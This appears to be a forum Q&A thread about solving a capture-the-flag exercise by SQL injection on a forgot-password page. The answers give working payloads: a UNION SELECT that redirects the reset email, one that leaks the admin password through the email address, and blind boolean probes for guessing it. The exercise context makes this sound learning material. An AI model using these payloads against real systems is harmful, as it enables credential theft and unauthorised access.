I'm working on a capture the flag assignment. We were told there was a flag if you can login with credentials admin. The main page does not seem to be vulnerable to SQL injection but the forgot password page is.

Here's the problem, the forget password page only requires username, and it claims to send a password reset link to the email given. I thought we were supposed to bunch in an UPDATE query to modify the password of the admin account so that we can login, but so far, every attempt that I've tried has failed.

Then I read that PHP servers can't bunch together statements, so I'm doubting my general approach now. Could anyone enlighten me on how should I go about this?

The hint given is "the table contains two columns, username and password". But this isn't really helping...?

  • the reminder page may be operating under a username that does not have write permission to the database, If I were setting up such a page for training I'd want to do so in such a way that different studends wouldn't conflict.
    – Jasen
    Commented Apr 14, 2018 at 8:23

2 Answers 2


To send that email, the server needs to fetch the email adress from the database. It probably does something like this:

$sql = "SELECT email FROM users WHERE username = '$username'";

You could try to make it email yourself instead by injectin some SQL into $username:

do_not_exist' UNION SELECT '[email protected]' FROM dual --

But if you got a password reset link, it probably would not be for the admin user. Hmm. Perhaps you could use the email adress itself to exfiltrate some data?

do_not_exist' UNION SELECT password + '@example.com' FROM users WHERE username = 'admin' --

Now you just wait and see what email address get an email. The risk here is that the script also tries to insert a row with the username and the password reset token into some table. If that is done before the email is sent, and that query is also vulnerable, this might just crash the script. But it's worth a try.

  • wrong number of columns in the union... must be at-least two, but I guess you could use the same expression in both.
    – Jasen
    Commented Apr 14, 2018 at 8:29
  • Hey, thanks for your help! I tried those, but i get a 'user does not exist'. it seems that form of sql injection doesnt work. the original ' or ''=' works though
    – Wboy
    Commented Apr 14, 2018 at 8:45

It accepted the username admin' and password < '9999 for a password reminder but did not accept admin' and password < '0000

time for a game of guess the number :)

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .